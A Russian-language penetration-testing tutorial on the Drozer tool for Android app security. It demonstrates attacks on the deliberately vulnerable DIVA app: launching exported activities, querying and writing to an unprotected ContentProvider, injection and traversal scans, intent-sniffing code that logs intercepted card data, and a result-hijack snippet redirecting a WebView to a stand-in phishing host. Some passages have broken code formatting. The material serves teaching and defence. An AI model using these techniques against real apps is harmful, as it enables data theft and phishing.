Drozer — обязательный предмет в арсенале каждого пентестера. Это швейцарский армейский нож для выполнения стандартных задач по тестированию на проникновение. Drozer позволяет вам получать информацию о приложении, запускать его, подключаться к ContentProvider, отправлять сообщения службе, в общем — все для того, чтобы извлечь информацию из приложения или заставить его делать то, что нам нужно, через стандартные API и каналы связи.Все это безопасность приложений Android.
Сегодня Drozer считается устаревшим инструментом, но он по-прежнему отлично справляется с быстрым получением информации о приложении и его слабых местах. Рекомендуемый способ запуска drozer — использовать Docker:
$
$ adb install drozer-agent-2. 3. 4. apk
$ drozer console connect --server IP-адрес-телефона
Активности
Типичный воркфлоу Drozer выглядит так. Сначала получаем информацию об установленных приложениях:
dz> run app.package.list
Находим в списке подопытное приложение и получаем информацию о нем:
dz> run app.package.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Application Label: Diva
Process Name: jakhar.aseem.diva
Version: 1.0
Data Directory: /data/user/0/jakhar.aseem.diva
APK Path: /data/app/~~f-ZUZleCLc6Lvv3kYkaeww==/jakhar.aseem.diva-GXTPCSZPceqRHtEWH73f1g==/base.apk
UID: 10423
GID: [3003]
Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar]
Shared User ID: null
Uses Permissions:
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.INTERNET
- android.permission.ACCESS_MEDIA_LOCATION
Defines Permissions:
- None
Затем выясняем, какие компоненты можно попытаться использовать для эксплуатации:
dz> run app.package.attacksurface jakhar.aseem.diva
Attack Surface:
3 activities exported
0 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable
Обращаем внимание, что в приложении включен флаг отладки. Далее получаем список активностей:
dz> run app.activity.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
jakhar.aseem.diva.MainActivity
Permission: null
jakhar.aseem.diva.APICredsActivity
Permission: null
jakhar.aseem.diva.APICreds2Activity
Permission: null
Пробуем их запустить:
dz> run app.activity.start --component jakhar.aseem.diva <имя_активности>
Цель этого действия — проверить, не выделены ли внутренние действия приложения, которые не должны быть доступны извне. Эти действия могут содержать конфиденциальную информацию.
Проверяем:
dz> run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICredsActivity
Действительно, активность APICredsActivity содержит некий ключ API, имя пользователя и пароль. Активность APICreds2Activity содержит окно с полем для ввода ПИН‑кода.
Две активности DIVA
Обе эти активности явно должны использоваться только внутри приложения, но по «невнимательности» разработчик забыл сделать их неэкспортируемыми (android:exported=»false»).
Если активности не запускаются
Начиная с Android 9 запуск активностей в фоне запрещен. Поэтому, чтобы Drozer работал корректно, следи за тем, чтобы он всегда был на экране, а экран смартфона — включен.
Перехват интентов
Еще интереснее, когда программист не только забывает сделать внутреннюю активность приложения неэкспортируемой, но и работает с ней не напрямую, а используя широковещательные интенты. Допустим, в приложении есть такой код, который использует широковещательный интент «com.example.ACTION», чтобы запустить активность (передав ей при этом конфиденциальные данные):
Intent
intent = new Intent("com.example.ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
startActivity(intent);
Проблема этого кода в том, что любой желающий может создать активность, реагирующую на интент «com.example.ACTION», и перехватить переданные ей данные. Например, мы можем написать приложение с такой активностью в манифесте:
<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.example.ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
В код этой активности добавим логирование перехваченных конфиденциальных данных:
Log.d("evil", "Number: " + getIntent().getStringExtra("credit_card_number"));
Log.d("evil", "Holder: " + getIntent().getStringExtra("holder_name"));
Вуаля! Но с помощью Drozer проделать такой трюк еще проще:
dz> run app.broadcast.sniff --action com.example.ACTION
В общем, интенты — это стандартный способ общения в Android как внутри, так и вне приложения. Их можно использовать для передачи информации между действиями, службами и любым другим компонентом приложения. Интенты могут быть адресованы конкретному компоненту или транслироваться. Любое другое приложение может перехватить последнее, как в примере выше.
Перехват возвращаемого значения
На Android действия могут возвращать значения. Эта функция используется, например, в интерфейсе для выбора фотографии для отправки другу или в интерфейсе для выбора файла. Приложение может инициировать свое собственное действие или действие любого другого приложения (используя намерение передачи), чтобы получить от него некоторую ценность. И если приложение использует намерение трансляции, чтобы начать свою деятельность, возникнут проблемы.
Возьмем, к примеру, следующий код:
startActivityForResult(new Intent("com.example.PICK"), 1337);
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == 1337 && resultCode == 1) {
webView.loadUrl(data.getStringExtra("url"), getAuthHeaders());
}
}
Поэтому мы можем создать собственную активность и перенаправлять приложение на фишинговый веб‑сайт:<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.PICK" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setResult(1, new Intent().putExtra("url", "http://evil.com/"));
finish();
}
ContentProvider
ContentProvider — это специальный компонент приложения, отвечающий за хранение данных и предоставление доступа к этим данным для других приложений. Раньше (до Android 4.0) разработчики открывали ContentProvider для любого приложения. Например, в официальном приложении Gmail был общедоступный ContentProvider, обеспечивающий доступ к списку адресов электронной почты. Это позволяло любому стороннему приложению получать список последних писем Gmail, считывая данные непосредственно из официального приложения.
Такой подход сейчас считается наивным и небезопасным. Поэтому сегодня приложение Gmail предоставляет только общее количество непрочитанных писем, и даже эта информация защищена специальным разрешением. Вы можете легко проверить это, попытавшись прочитать данные, используя URI content: //com.google.android.gmail.provider:
dz> run app.provider.query content://com.google.android.gmail.provider/
Permission Denial: opening provider com.android.email.provider.EmailProvider from ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0a422} (pid=15638, uid=10422) requires com.google.android.gm.email.permission.ACCESS_PROVIDER or com.google.android.gm.email.permission.ACCESS_PROVIDER
Но в других приложениях все может быть иначе. Вернемся к приложению DIVA и попробуем получить информацию о его ContentProvider’ах:
dz> run app.provider.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Authority: jakhar.aseem.diva.provider.notesprovider
Read Permission: null
Write Permission: null
Content Provider: jakhar.aseem.diva.NotesProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
Видно, что приложение имеет один никак не защищенный ContentProvider. Получим информацию об экспортируемых ContentProvider’ом URI:
dz> run scanner.provider.finduris -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query content://jakhar.aseem.diva.provider.notesprovider
Unable to Query content://jakhar.aseem.diva.provider.notesprovider/
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes
Accessible content URIs:
content://jakhar.aseem.diva.provider.notesprovider/notes/
content://jakhar.aseem.diva.provider.notesprovider/notes
Попробуем прочитать информацию по приведенным URI:
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
|
|
|
|
|
|
|
ContentProvider, по сути, открывает прямой доступ к базе данных приложения. Поэтому, если он открыт для чтения и записи, мы легко можем добавить в него собственные данные:
dz> run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes
--integer _id 7
--string title xakep.ru
--string note 'Hi from ]['
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
…
|
В ряде случаев возможно выполнить SQL-инъекцию. Drozer способен автоматически проверить приложение на эту уязвимость:
dz> run scanner.provider.injection -a com.example.app
Некоторые приложения используют ContentProvider’ы, чтобы открывать доступ к файлам своего приватного каталога. В этом случае иногда возможно выполнить атаку directory traversal. Drozer позволяет проверить и этот вариант:
dz> run scanner.provider.traversal -a com.example.app
Сервисы
Другой тип прикладного компонента в Android — это сервисы. Большинство из них используются для фоновой работы, а в современных версиях Android у них должен быть значок в строке состояния (иначе система отключит службу в течение пяти минут). В приложении DIVA нет сервисов, это легко проверить с помощью этой команды:
dz> run app.service.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No exported services.
Но даже приложениями с торчащими снаружи сервисами работать не так просто. Обычно вам сначала нужно дизассемблировать / декомпилировать приложение, проанализировать служебный код, а затем попытаться отправить ему сообщение, которое оно поймет и обработает.
Например, типичный пример отправки сообщения сервису может выглядеть так:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
Другие возможности
Кратко пройдемся по другим возможностям Drozer.
Отображение манифеста приложения:
dz> run app.package.manifest com.mwr.example.sieve
Поиск приложений, обладающих указанными полномочиями:
dz> run app.package.list -p android.permission.INSTALL_PACKAGES
Поиск приложений с указанным UID:
dz> run app.package.list -u 1000
Поиск приложений, способных отображать файлы с указанным mimetype:
dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf
Поиск всех приложений, способных открывать ссылки:
dz> run scanner.activity.browsable
Отображение списка нативных библиотек приложения:
dz> run app.package.native jakhar.aseem.diva
Отправка широковещательных интентов:
dz> run app.broadcast.send --action com.exmpla.PICK --extra string url https://example.com
Бонус
С какими еще проблемами и уязвимостями можно столкнуться в приложениях? Их много, авторы книги Security Code Smells in Android ICC составили подробный список таких проблем. Они взяли 700 приложений с открытым исходным кодом из репозитория F-Droid и проанализировали их с помощью специального инструмента AndroidLintSecurityChecks.
Все проблемы скомпонованы в двенадцать категорий:
- SM01: Persisted Dynamic Permission. В Android есть механизм, позволяющий предоставить другому приложению временный доступ к какому‑либо URI своего ContentProvider’а. Это делается с помощью метода
Context.
. Если приложение вызывает его, но не вызываетgrantUriPermission( ) Context.
, чтобы отозвать доступ, — есть проблемы.revokeUriPermission( ) - SM02: Custom Scheme Channel. Любое приложение может зарегистрировать собственную URI-схему, такую как
myapp:/
, вне зависимости от того, использует ли такую схему другое приложение. Как следствие, пересылать важные данные, используя кастомные URI-схемы, крайне небезопасно./ - SM03: Incorrect Protection Level. В Android любое приложение может создать свое собственное разрешение для доступа к своим данным. Но есть проблема: если указать неправильный уровень защиты разрешения (protection level), оно может не сработать. Если разработчик хочет, чтобы пользователь видел диалог запроса разрешений, он должен использовать уровень защиты dangerous или siganture, если данное разрешение должно получать только приложение с той же цифровой подписью.
- SM04: Unauthorized Intent. Любое приложение в Android может зарегистрировать себя в качестве обработчика определенных типов интентов (intent). По умолчанию этот обработчик будет открыт всему миру, но его можно защитить с помощью системы разрешений и строгой валидации входных данных.
- SM05: Sticky Broadcast. Любое приложение может послать другому приложению интент. Более того, оно может послать широковещательный интент сразу всем приложениям, и он будет обработан первым приложением, способным его принять. Но есть также возможность послать широковещательный sticky-intent, который после обработки одним приложением все равно будет доставлен другим приложениям. Чтобы этого не происходило, не стоит использовать такие интенты, а широковещательные интенты лучше не использовать вообще.
- SM06: Slack WebViewClient. Компонент WebView позволяет приложениям показывать веб‑страницы внутри своего интерфейса. По умолчанию он никак не фильтрует открываемые URL, чем можно воспользоваться, например, для фишинга. Разработчикам стоит либо использовать белый список адресов, либо выполнять проверку с помощью SafetyNet API.
- SM07: Broken Service Permission. Приложения могут предоставлять доступ к своей функциональности с помощью сервисов. Злоумышленник может использовать эту возможность для запуска кода с повышенными полномочиями (полномочиями сервиса). Чтобы этого избежать, сервис должен проверять полномочия вызывающего приложения с помощью метода
Context.
.checkCallingPermission( ) - SM08: Insecure Path Permission. Некоторые приложения предоставляют доступ к своим данным с помощью ContentProvider’а, который адресует данные, используя UNIX-подобные пути:
/
. Программист может открыть доступ к своему ContentProvider’у, но отрезать доступ к некоторым путям (например, кa/ b/ c /
). Но есть проблема: разработчики часто используют класс UriMatcher для сравнения путей, а он, в отличие от Android, сравнивает их без учета двойных слешей. Отсюда могут возникнуть ошибки при разрешении и запрете доступа.data/ secret - SM09: Broken Path Permission Precedence. Сходная с предыдущей проблема. При описании ContentProvider’а в манифесте разработчик может указать, какие разрешения нужны приложению для доступа к определенным путям. Но в Android есть баг, из‑за чего он отдает предпочтение более глобальным путям. Например, если приложение дает доступ к
/
всем подряд, но использует специальное разрешение для доступа кdata /
, то в итоге доступ кdata/ secret /
смогут получить все.data/ secret - SM10: Unprotected BroadcastReceiver. Фактически аналог проблемы SM04, но распространяющийся исключительно на BroadcastReceiver’ы (специальные обработчики интентов).
- SM11: Implicit PendingIntent. Кроме интентов, в Android есть сущность под названием PendingIntent. Это своего рода отложенные интенты, которые могут быть отправлены позже и даже другим приложением от имени создавшего интент приложения. Если PendingIntent широковещательный, то любое приложение сможет перехватить его и послать интент от имени этого приложения.
- SM12: Common Task Affinity. Аналог проблемы StrandHogg.
Общая распространенность ошибок
В документе также содержится много аналитических данных. Например, статистика показывает, что в новых приложениях меньше дыр, чем в старых. Также есть больше дыр в приложениях, над которыми работают более пяти человек. И конечно: чем больше кода, тем больше уязвимостей.
Примеры ошибок также можно найти в репозитории тестов уязвимостей Android-приложений. Он содержит исходные коды приложений с различными уязвимостями, каждое из которых имеет подробное описание уязвимости и исправленную версию.
Выводы
Как видите, несмотря на свой почтенный возраст, Drozer по-прежнему выполняет свою работу лучше, чем многие другие инструменты. Его очевидным преимуществом является текстовый интерфейс, который позволяет использовать команды для выполнения многих задач, для которых вам придется написать собственное программное обеспечение. Оборотная сторона все та же — не всем удастся переварить этот интерфейс в 2020 году.